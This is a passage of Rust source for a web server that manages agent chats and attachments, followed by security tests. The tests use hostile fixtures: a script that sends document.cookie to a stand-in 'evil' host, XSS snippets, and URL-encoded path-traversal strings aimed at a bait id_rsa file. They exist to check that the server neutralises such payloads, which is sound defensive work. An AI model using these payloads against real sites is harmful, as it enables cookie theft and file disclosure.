5947 "talk {} is {} and takes no more turns",
5948 talk.short(),
5949 talk.status.as_str()
5950 )));
5951 }
5952 if !talk::edit_pending_text(
5953 &mut talk,
5954 &ui.talks,
5955 &body.text,
5956 &body.expected_text,
5957 &body.expected_attachments,
5958 )? {
5959 return Err(ApiError::conflict(
5960 "queued message changed; reload it before editing",
5961 ));
5962 }
5963 let claim = match ui.begin_queued_talk_turn(&id)? {
5964 Some(turn_guard) => {
5965 let (cfg, _) = Config::discover(&talk.repo, None)?;
5966 Some((talk.clone(), cfg, id.clone(), turn_guard))
5967 }
5968 None => None,
5969 };
5970 let thinking = ui.is_thinking(&id);
5971 Ok((TalkView::new(talk, thinking), claim))
5972 }
5973 })
5974 .await?;
5975 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5976 let talks = ui.talks.clone();
5977 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5978 }
5979 Ok(Json(view))
5980}
5981
5982#[derive(Debug, Deserialize)]
5984struct TalkAgent {
5985 agent: String,
5986}
5987
5988async fn talk_agent(
5993 State(ui): State<Arc<Ui>>,
5994 Path(id): Path<String>,
5995 Json(body): Json<TalkAgent>,
5996) -> ApiResult<Json<TalkView>> {
5997 let id = {
5998 let ui = Arc::clone(&ui);
5999 blocking(move || resolve_talk(&ui.talks, &id)).await?
6000 };
6001 let repo = {
6002 let ui = Arc::clone(&ui);
6003 let id = id.clone();
6004 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6005 };
6006 let cfg = config_for(&repo).await?;
6007 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6008 return Err(ApiError::conflict(
6009 "a talk turn is running; change the agent once it has answered",
6010 ));
6011 };
6012 let switched = {
6013 let ui = Arc::clone(&ui);
6014 let id = id.clone();
6015 let cfg = cfg.clone();
6016 blocking(move || {
6017 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6018 .map_err(ApiError::bad_request_from)?;
6019 let mut talk = ui.talks.get(&id)?;
6020 if !talk.status.open() {
6021 return Err(ApiError::conflict(format!(
6022 "talk {} is {} and takes no more turns",
6023 talk.short(),
6024 talk.status.as_str()
6025 )));
6026 }
6027 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6028 Ok(talk)
6029 })
6030 .await
6031 };
6032 let fresh = {
6037 let ui = Arc::clone(&ui);
6038 let id = id.clone();
6039 blocking(move || Ok(ui.talks.get(&id)?)).await
6040 };
6041 let draining = match fresh {
6042 Ok(talk) => {
6043 let draining = talk.status.open()
6044 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6045 let talks = ui.talks.clone();
6046 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6047 draining
6048 }
6049 Err(_) => false,
6050 };
6051 let talk = switched?;
6052 Ok(Json(TalkView::new(talk, draining)))
6053}
6054
6055async fn talk_close(
6057 State(ui): State<Arc<Ui>>,
6058 Path(id): Path<String>,
6059) -> ApiResult<Json<TalkView>> {
6060 blocking(move || {
6061 let id = resolve_talk(&ui.talks, &id)?;
6062 let mut talk = ui.talks.get(&id)?;
6063 talk::close(&mut talk, &ui.talks)?;
6064 let thinking = ui.is_thinking(&talk.id);
6065 Ok(Json(TalkView::new(talk, thinking)))
6066 })
6067 .await
6068}
6069
6070async fn talk_reopen(
6072 State(ui): State<Arc<Ui>>,
6073 Path(id): Path<String>,
6074) -> ApiResult<Json<TalkView>> {
6075 blocking(move || {
6076 let id = resolve_talk(&ui.talks, &id)?;
6077 let mut talk = ui.talks.get(&id)?;
6078 talk::reopen(&mut talk, &ui.talks)?;
6079 let thinking = ui.is_thinking(&talk.id);
6080 Ok(Json(TalkView::new(talk, thinking)))
6081 })
6082 .await
6083}
6084
6085async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6095 blocking(move || {
6096 let id = resolve_talk(&ui.talks, &id)?;
6097 ui.talks.remove(&id)?;
6098 Ok(StatusCode::NO_CONTENT)
6099 })
6100 .await
6101}
6102
6103fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6105 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6106}
6107
6108async fn talk_attachment_post(
6111 State(ui): State<Arc<Ui>>,
6112 Path(id): Path<String>,
6113 headers: HeaderMap,
6114 body: Bytes,
6115) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6116 let mime = validate_attachment(&headers, &body)?;
6117 let name = filename_header(&headers);
6118 let data = body.to_vec();
6119 blocking(move || {
6120 let id = resolve_talk(&ui.talks, &id)?;
6121 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6122 Ok((StatusCode::CREATED, Json(att)))
6123 })
6124 .await
6125}
6126
6127async fn talk_attachment_get(
6130 State(ui): State<Arc<Ui>>,
6131 Path((id, att)): Path<(String, String)>,
6132) -> ApiResult<Response> {
6133 blocking(move || {
6134 let id = resolve_talk(&ui.talks, &id)?;
6135 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6136 return Err(ApiError::not_found(format!(
6137 "talk {id} has no attachment `{att}`"
6138 )));
6139 };
6140 Ok(attachment_response(&meta.mime, data))
6141 })
6142 .await
6143}
6144
6145fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6156 if data.len() > ATTACHMENT_MAX_BYTES {
6157 return Err(ApiError::bad_request(format!(
6158 "attachment is {} bytes, over the {} MiB limit",
6159 data.len(),
6160 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6161 ))
6162 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6163 }
6164 if data.is_empty() {
6165 return Err(ApiError::bad_request("attachment is empty"));
6166 }
6167 let declared = declared_mime(headers)?;
6168 match sniffed_mime(data) {
6169 Some(sniffed) if sniffed == declared => Ok(declared),
6170 Some(sniffed) => Err(ApiError::bad_request(format!(
6171 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6172 ))),
6173 None => Err(ApiError::bad_request(
6174 "the file's bytes do not match any accepted image format",
6175 )),
6176 }
6177}
6178
6179fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6183 let raw = headers
6184 .get(header::CONTENT_TYPE)
6185 .and_then(|v| v.to_str().ok())
6186 .unwrap_or("")
6187 .split(';')
6188 .next()
6189 .unwrap_or("")
6190 .trim()
6191 .to_ascii_lowercase();
6192 ATTACHMENT_MIME_WHITELIST
6193 .iter()
6194 .find(|&&m| m == raw)
6195 .copied()
6196 .ok_or_else(|| {
6197 if raw == "image/svg+xml" {
6198 ApiError::bad_request(
6199 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6200 not just a picture",
6201 )
6202 } else if raw.is_empty() {
6203 ApiError::bad_request("Content-Type is required for an attachment upload")
6204 } else {
6205 ApiError::bad_request(format!(
6206 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6207 image/gif or image/webp"
6208 ))
6209 }
6210 })
6211}
6212
6213fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6216 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6217 Some("image/png")
6218 } else if data.starts_with(b"\xff\xd8\xff") {
6219 Some("image/jpeg")
6220 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6221 Some("image/gif")
6222 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6223 Some("image/webp")
6224 } else {
6225 None
6226 }
6227}
6228
6229fn filename_header(headers: &HeaderMap) -> String {
6235 headers
6236 .get(FILENAME_HEADER)
6237 .and_then(|v| v.to_str().ok())
6238 .map(str::trim)
6239 .filter(|s| !s.is_empty())
6240 .unwrap_or("attachment")
6241 .to_owned()
6242}
6243
6244fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6251 let content_type = ATTACHMENT_MIME_WHITELIST
6252 .iter()
6253 .find(|&&m| m == mime)
6254 .copied()
6255 .unwrap_or("application/octet-stream");
6256 (
6257 [
6258 (header::CONTENT_TYPE, content_type),
6259 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6260 ],
6261 body,
6262 )
6263 .into_response()
6264}
6265
6266async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6274 let repo = repo.to_path_buf();
6275 blocking(move || {
6276 let (cfg, _) = Config::discover(&repo, None)?;
6277 Ok(cfg)
6278 })
6279 .await
6280}
6281
6282fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6288 let mut hits = ids
6289 .into_iter()
6290 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6291 match (hits.next(), hits.next()) {
6292 (Some(one), None) => Ok(one),
6293 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6294 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6295 "`{prefix}` matches more than one {what}, including {a} and {b}"
6296 ))),
6297 }
6298}
6299
6300#[cfg(test)]
6301mod tests {
6302
6303 #[test]
6304 fn holder_reads_the_lease_not_the_record() {
6305 let mut q = Question::new(
6306 "run".to_owned(),
6307 "implement".to_owned(),
6308 "impl-A".to_owned(),
6309 "which?".to_owned(),
6310 String::new(),
6311 Vec::new(),
6312 );
6313 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6314 q.cwd = Some("/tmp".to_owned());
6315 assert_eq!(holder_of(&q, None), Some("nobody"));
6316 let beat = |kind, ago: i64| ask::Lease {
6317 kind,
6318 pid: 1,
6319 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6320 .unwrap(),
6321 };
6322 let fresh = beat(ask::WaiterKind::Asker, 1);
6323 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6324 let daemon = beat(ask::WaiterKind::Daemon, 1);
6325 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6326 let stale = beat(ask::WaiterKind::Asker, 3600);
6327 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6328
6329 let mut c = Question::new(
6332 "task".to_owned(),
6333 crate::conduct::NODE.to_owned(),
6334 "conduct".to_owned(),
6335 "which?".to_owned(),
6336 String::new(),
6337 Vec::new(),
6338 );
6339 assert_eq!(holder_of(&c, None), Some("nobody"));
6340 c.cwd = Some("/tmp".to_owned());
6341 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6342 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6343 let deputy = beat(ask::WaiterKind::Deputy, 1);
6344 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6345 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6346
6347 let mut m = Question::new(
6350 "run".to_owned(),
6351 crate::land::APPROVAL_NODE.to_owned(),
6352 "land".to_owned(),
6353 "merge?".to_owned(),
6354 String::new(),
6355 Vec::new(),
6356 );
6357 assert_eq!(holder_of(&m, None), Some("nobody"));
6358 assert_eq!(
6359 holder_of(&m, Some(&fresh)),
6360 Some("nobody"),
6361 "a lease with no deputy is not a listener"
6362 );
6363 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6364 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6365 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6366 assert_eq!(holder_of(&m, None), Some("nobody"));
6367 }
6368
6369 #[test]
6370 fn deputies_enabled_follows_the_config() {
6371 let on = Config {
6374 agents: vec![crate::config::AgentSpec {
6375 id: "stub".to_owned(),
6376 kind: AgentKind::Command,
6377 model: None,
6378 command: vec!["true".to_owned()],
6379 extra_args: Vec::new(),
6380 env: Default::default(),
6381 prompt_delivery: None,
6382 }],
6383 ..Config::default()
6384 };
6385 assert!(crate::deputy::can_start(Some(&on), ""));
6386 assert!(crate::deputy::can_start(Some(&on), "stub"));
6387 let mut off = on.clone();
6388 off.daemon.max_deputies = 0;
6389 assert!(!crate::deputy::can_start(Some(&off), ""));
6390 let mut empty = on;
6391 empty.agents.clear();
6392 assert!(!crate::deputy::can_start(Some(&empty), ""));
6393 assert!(!crate::deputy::can_start(None, ""));
6394 }
6395
6396 use pretty_assertions::assert_eq;
6397 use serde_json::Value;
6398 use tempfile::TempDir;
6399 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6400
6401 use super::*;
6402 use crate::config::Config;
6403 use crate::queue::Source;
6404
6405 const SETTLE_STEPS: usize = 3_000;
6416
6417 struct Fixture {
6423 home: TempDir,
6424 addr: SocketAddr,
6425 }
6426
6427 impl Fixture {
6428 async fn start() -> Self {
6429 Self::with_loop(launch_idle).await
6430 }
6431
6432 async fn with_loop(launch: Launch) -> Self {
6434 let home = TempDir::new().expect("temp home");
6435 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6436 Self { home, addr }
6437 }
6438
6439 async fn with_repo(repo: PathBuf) -> Self {
6443 let home = TempDir::new().expect("temp home");
6444 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6445 Self { home, addr }
6446 }
6447
6448 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6451 let home = TempDir::new().expect("temp home");
6452 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6453 Self { home, addr }
6454 }
6455
6456 async fn serve(
6457 home: &FsPath,
6458 repo: PathBuf,
6459 launch: Launch,
6460 machine: Option<PathBuf>,
6461 ) -> SocketAddr {
6462 let queue = Queue::at(home.join("queue"));
6463 let runs = home.join("runs");
6464 std::fs::create_dir_all(&runs).expect("runs dir");
6465 let worktrees = home.join("wt").join("magi");
6466 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6467 let ui = Ui::new(
6468 queue,
6469 Questions::at(home.join("questions")),
6470 Talks::at(home.join("talks")),
6471 runs,
6472 home.to_path_buf(),
6473 repo,
6474 )
6475 .with_worktrees_root(worktrees)
6476 .with_machine_config(machine)
6477 .with_launch(launch);
6478 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6479 .await
6480 .expect("bind loopback");
6481 let addr = listener.local_addr().expect("local addr");
6482 tokio::spawn(async move {
6483 let _ = axum::serve(listener, ui.router()).await;
6484 });
6485 addr
6486 }
6487
6488 fn queue(&self) -> Queue {
6489 Queue::at(self.home.path().join("queue"))
6490 }
6491
6492 fn questions(&self) -> Questions {
6493 Questions::at(self.home.path().join("questions"))
6494 }
6495
6496 fn talks(&self) -> Talks {
6497 Talks::at(self.home.path().join("talks"))
6498 }
6499
6500 fn runs(&self) -> PathBuf {
6501 self.home.path().join("runs")
6502 }
6503
6504 async fn get(&self, path: &str) -> Res {
6505 request(self.addr, "GET", path, None).await
6506 }
6507
6508 async fn head(&self, path: &str) -> Res {
6513 request(self.addr, "HEAD", path, None).await
6514 }
6515
6516 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6517 request(self.addr, "POST", path, body).await
6518 }
6519
6520 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6521 request_with(self.addr, "GET", path, None, extra).await
6522 }
6523
6524 async fn delete(&self, path: &str) -> Res {
6525 request(self.addr, "DELETE", path, None).await
6526 }
6527
6528 async fn put(&self, path: &str, body: &str) -> Res {
6529 request(self.addr, "PUT", path, Some(body)).await
6530 }
6531
6532 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6534 request_bytes(self.addr, path, headers, body).await
6535 }
6536 }
6537
6538 struct Res {
6539 status: u16,
6540 headers: String,
6541 head: String,
6546 body: String,
6547 bytes: Vec<u8>,
6551 }
6552
6553 impl Res {
6554 fn json(&self) -> Value {
6555 serde_json::from_str(&self.body)
6556 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6557 }
6558
6559 fn header(&self, name: &str) -> Option<&str> {
6561 self.head.lines().find_map(|line| {
6562 let (key, value) = line.split_once(':')?;
6563 key.trim()
6564 .eq_ignore_ascii_case(name)
6565 .then(|| value.trim_start().trim_end_matches('\r'))
6566 })
6567 }
6568 }
6569
6570 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6573 request_with(addr, method, path, body, &[]).await
6574 }
6575
6576 async fn request_with(
6580 addr: SocketAddr,
6581 method: &str,
6582 path: &str,
6583 body: Option<&str>,
6584 extra: &[(&str, &str)],
6585 ) -> Res {
6586 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6587 for (name, value) in extra {
6588 head.push_str(&format!("{name}: {value}\r\n"));
6589 }
6590 if let Some(body) = body {
6591 head.push_str("Content-Type: application/json\r\n");
6592 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6593 }
6594 head.push_str("\r\n");
6595 if let Some(body) = body {
6596 head.push_str(body);
6597 }
6598 let mut socket = tokio::net::TcpStream::connect(addr)
6599 .await
6600 .expect("connect to the test server");
6601 socket
6602 .write_all(head.as_bytes())
6603 .await
6604 .expect("write request");
6605 let mut raw = Vec::new();
6606 socket.read_to_end(&mut raw).await.expect("read response");
6607 let split = raw
6610 .windows(4)
6611 .position(|w| w == b"\r\n\r\n")
6612 .expect("a header block");
6613 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6614 let bytes = raw[split + 4..].to_vec();
6615 let status = head
6616 .lines()
6617 .next()
6618 .and_then(|line| line.split_whitespace().nth(1))
6619 .and_then(|code| code.parse().ok())
6620 .expect("a status line");
6621 Res {
6622 status,
6623 headers: head.to_lowercase(),
6624 head,
6625 body: String::from_utf8_lossy(&bytes).into_owned(),
6626 bytes,
6627 }
6628 }
6629
6630 async fn request_bytes(
6636 addr: SocketAddr,
6637 path: &str,
6638 headers: &[(&str, &str)],
6639 body: &[u8],
6640 ) -> Res {
6641 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6642 for (name, value) in headers {
6643 head.push_str(&format!("{name}: {value}\r\n"));
6644 }
6645 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6646 let mut socket = tokio::net::TcpStream::connect(addr)
6647 .await
6648 .expect("connect to the test server");
6649 socket
6650 .write_all(head.as_bytes())
6651 .await
6652 .expect("write request head");
6653 socket.write_all(body).await.expect("write request body");
6654 let mut raw = Vec::new();
6655 socket.read_to_end(&mut raw).await.expect("read response");
6656 let split = raw
6657 .windows(4)
6658 .position(|w| w == b"\r\n\r\n")
6659 .expect("a header block");
6660 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6661 let bytes = raw[split + 4..].to_vec();
6662 let status = head
6663 .lines()
6664 .next()
6665 .and_then(|line| line.split_whitespace().nth(1))
6666 .and_then(|code| code.parse().ok())
6667 .expect("a status line");
6668 Res {
6669 status,
6670 headers: head.to_lowercase(),
6671 head,
6672 body: String::from_utf8_lossy(&bytes).into_owned(),
6673 bytes,
6674 }
6675 }
6676
6677 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6679 let mut state = RunState::new(
6680 PathBuf::from("/repo/magi"),
6681 "main".to_owned(),
6682 "0123456789abcdef".to_owned(),
6683 "Add a web UI\n\nMobile first.".to_owned(),
6684 Config::default(),
6685 );
6686 state.id = id.to_owned();
6687 state.status = status;
6688 let dir = runs.join(id);
6689 std::fs::create_dir_all(&dir).expect("run dir");
6690 std::fs::write(
6691 dir.join("run.json"),
6692 serde_json::to_string_pretty(&state).expect("serialize run"),
6693 )
6694 .expect("write run.json");
6695 }
6696
6697 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6701 let mut state = RunState::new(
6702 PathBuf::from(repo),
6703 "main".to_owned(),
6704 "0123456789abcdef".to_owned(),
6705 "task".to_owned(),
6706 Config::default(),
6707 );
6708 state.id = id.to_owned();
6709 state.status = status;
6710 let dir = runs.join(id);
6711 std::fs::create_dir_all(&dir).expect("run dir");
6712 std::fs::write(
6713 dir.join("run.json"),
6714 serde_json::to_string_pretty(&state).expect("serialize run"),
6715 )
6716 .expect("write run.json");
6717 }
6718
6719 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6720 let body = serde_json::json!({
6721 "schema": 1,
6722 "pid": 4242,
6723 "started_at": Timestamp::now().to_string(),
6724 "updated_at": updated_at.to_string(),
6725 "idle": false,
6726 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6727 "completed": 7,
6728 "polls": 143,
6729 });
6730 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6731 }
6732
6733 fn launch_idle(
6743 _opts: daemon::Opts,
6744 stop: daemon::Stop,
6745 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6746 Box::pin(async move {
6747 while !stop.stopped() {
6748 tokio::time::sleep(Duration::from_millis(2)).await;
6749 }
6750 Ok(())
6751 })
6752 }
6753
6754 fn launch_broken(
6757 _opts: daemon::Opts,
6758 _stop: daemon::Stop,
6759 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6760 Box::pin(async {
6761 Err(anyhow::anyhow!(
6762 "publish the daemon status file: read-only file system"
6763 ))
6764 })
6765 }
6766
6767 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6774 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6775
6776 fn launch_knocking_on_the_way_out(
6783 _opts: daemon::Opts,
6784 stop: daemon::Stop,
6785 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6786 Box::pin(async move {
6787 while !stop.stopped() {
6788 tokio::time::sleep(Duration::from_millis(2)).await;
6789 }
6790 let addr = PARK_KNOCK
6791 .lock()
6792 .expect("park knock")
6793 .expect("the test set an address");
6794 let heard = request(addr, "GET", "/api/health", None).await.status;
6795 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6796 Ok(())
6797 })
6798 }
6799
6800 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6809 for _ in 0..SETTLE_STEPS {
6810 let view = fx.get("/api/loop").await.json();
6811 if want(&view) {
6812 return view;
6813 }
6814 tokio::time::sleep(Duration::from_millis(10)).await;
6815 }
6816 panic!(
6817 "the loop never settled: {}",
6818 fx.get("/api/loop").await.json()
6819 );
6820 }
6821
6822 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6824 let store = fx.questions();
6825 let mut q = Question::new(
6826 "20260902-000000-beef".to_owned(),
6827 "implement".to_owned(),
6828 "impl-A".to_owned(),
6829 summary.to_owned(),
6830 "because it matters".to_owned(),
6831 choices.iter().map(|c| (*c).to_owned()).collect(),
6832 );
6833 store.put(&mut q).expect("put question");
6834 q.id
6835 }
6836
6837 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6843 let store = fx.questions();
6844 let mut q = Question::new(
6845 "20260902-000000-beef".to_owned(),
6846 "land".to_owned(),
6847 "fix".to_owned(),
6848 "Merge this?".to_owned(),
6849 "the diff is in the panel".to_owned(),
6850 vec!["merge".to_owned(), "hold".to_owned()],
6851 );
6852 let staging = fx.home.path().join("staging");
6855 std::fs::create_dir_all(&staging).expect("staging dir");
6856 let sources: Vec<PathBuf> = assets
6857 .iter()
6858 .map(|(name, bytes)| {
6859 let path = staging.join(name);
6860 std::fs::write(&path, bytes).expect("write staged asset");
6861 path
6862 })
6863 .collect();
6864 store
6865 .put_panel(&mut q, html, &sources)
6866 .expect("write the panel");
6867 store.put(&mut q).expect("put question");
6868 q.id
6869 }
6870
6871 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6880 let store = fx.talks();
6881 std::fs::create_dir_all(store.root()).expect("talks dir");
6882 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6883 .expect("serialize a seat");
6884 let body = serde_json::json!({
6885 "schema": 1,
6886 "id": id,
6887 "repo": "/repo/magi",
6888 "agent": "mock",
6889 "status": status,
6890 "turns": [],
6891 "created_at": Timestamp::now().to_string(),
6892 "updated_at": Timestamp::now().to_string(),
6893 "seat": seat,
6894 });
6895 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6896 store.get(id).expect("the seeded talk has to be readable");
6897 id.to_owned()
6898 }
6899
6900 #[tokio::test]
6901 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6902 let fx = Fixture::start().await;
6903 let id = panel(
6904 &fx,
6905 "<h1>Merge?</h1><img src=\"diff.svg\">",
6906 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6907 );
6908
6909 for path in [
6910 format!("/api/questions/{id}/panel"),
6911 format!("/api/questions/{id}/asset/diff.svg"),
6912 ] {
6913 let res = fx.get(&path).await;
6914 assert_eq!(res.status, 200, "{path}: {}", res.body);
6915 assert_eq!(
6921 res.header("content-security-policy"),
6922 Some(
6923 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6924 font-src data:; base-uri 'none'; form-action 'none'; \
6925 frame-ancestors 'self'"
6926 ),
6927 "{path} is the only thing between a hostile panel and the tailnet"
6928 );
6929 assert_eq!(
6930 res.header("x-content-type-options"),
6931 Some("nosniff"),
6932 "{path}: a browser must not re-decide the type we sent"
6933 );
6934 assert_eq!(
6935 res.header("referrer-policy"),
6936 Some("no-referrer"),
6937 "{path}: a panel must not leak the question id off the machine"
6938 );
6939
6940 let pre = fx.head(&path).await;
6945 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6946 assert_eq!(
6947 pre.header("content-security-policy"),
6948 res.header("content-security-policy"),
6949 "{path}: the preflight carries the same policy"
6950 );
6951 assert_eq!(
6952 pre.header("content-type"),
6953 res.header("content-type"),
6954 "{path}: the preflight carries the same type"
6955 );
6956 }
6957 }
6958
6959 #[tokio::test]
6960 async fn a_panel_reaches_the_browser_byte_for_byte() {
6961 let fx = Fixture::start().await;
6962 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
6967 let id = panel(&fx, html, &[]);
6968
6969 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6970
6971 assert_eq!(res.status, 200);
6972 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6973 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6974 assert_eq!(
6975 res.header("content-disposition"),
6976 None,
6977 "the panel itself is rendered in the frame, not downloaded"
6978 );
6979 }
6980
6981 #[tokio::test]
6982 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6983 let fx = Fixture::start().await;
6984 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6985 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6986 let id = panel(
6987 &fx,
6988 "<img src=\"diff.svg\"><img src=\"shot.png\">",
6989 &[("diff.svg", svg), ("shot.png", png)],
6990 );
6991
6992 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
6993 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
6994
6995 assert_eq!(as_svg.status, 200);
6996 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
6997 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7002
7003 assert_eq!(as_png.status, 200);
7004 assert_eq!(as_png.header("content-type"), Some("image/png"));
7005 assert_eq!(
7006 as_png.header("content-disposition"),
7007 None,
7008 "a raster image has no execution surface, so tapping it still shows it"
7009 );
7010 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7011 }
7012
7013 #[tokio::test]
7014 async fn an_html_asset_is_never_served_as_html() {
7015 let fx = Fixture::start().await;
7016 let id = panel(
7017 &fx,
7018 "<p>see the notes</p>",
7019 &[
7020 (
7021 "notes.html",
7022 b"<script>fetch('http://evil/'+document.cookie)</script>",
7023 ),
7024 ("hook.js", b"fetch('http://evil/')"),
7025 ("data.json", b"{}"),
7026 ("HEADLINE.TXT", b"plain"),
7027 ],
7028 );
7029
7030 for name in ["notes.html", "hook.js", "data.json"] {
7031 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7032 assert_eq!(res.status, 200, "{name}: {}", res.body);
7033 assert_eq!(
7038 res.header("content-type"),
7039 Some("application/octet-stream"),
7040 "{name} must not be a type the browser will execute or render"
7041 );
7042 }
7043 let txt = fx
7046 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7047 .await;
7048 assert_eq!(
7049 txt.header("content-type"),
7050 Some("text/plain; charset=utf-8")
7051 );
7052 }
7053
7054 #[tokio::test]
7055 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7056 let fx = Fixture::start().await;
7057 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7058 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7062
7063 for encoded in [
7070 "%2e%2e%2fid_rsa",
7071 "..%2fid_rsa",
7072 "..%5cid_rsa",
7073 "%2e%2e%5cid_rsa",
7074 "diff%00.svg",
7075 "..",
7076 ".hidden",
7077 "%2e%2e%2f%2e%2e%2fid_rsa",
7078 ] {
7079 let res = fx
7080 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7081 .await;
7082 assert_eq!(
7083 res.status, 400,
7084 "`{encoded}` has to be refused by name, not looked up: {}",
7085 res.body
7086 );
7087 assert!(res.json()["error"].is_string(), "{}", res.body);
7088 }
7089
7090 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7096 let res = fx
7097 .get(&format!("/api/questions/{id}/asset/{literal}"))
7098 .await;
7099 assert_eq!(
7100 res.status, 404,
7101 "`{literal}` must not match the asset route at all: {}",
7102 res.body
7103 );
7104 }
7105 }
7106
7107 #[tokio::test]
7108 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7109 let fx = Fixture::start().await;
7110 let plain = ask(&fx, "Which backend?", &["SQLite"]);
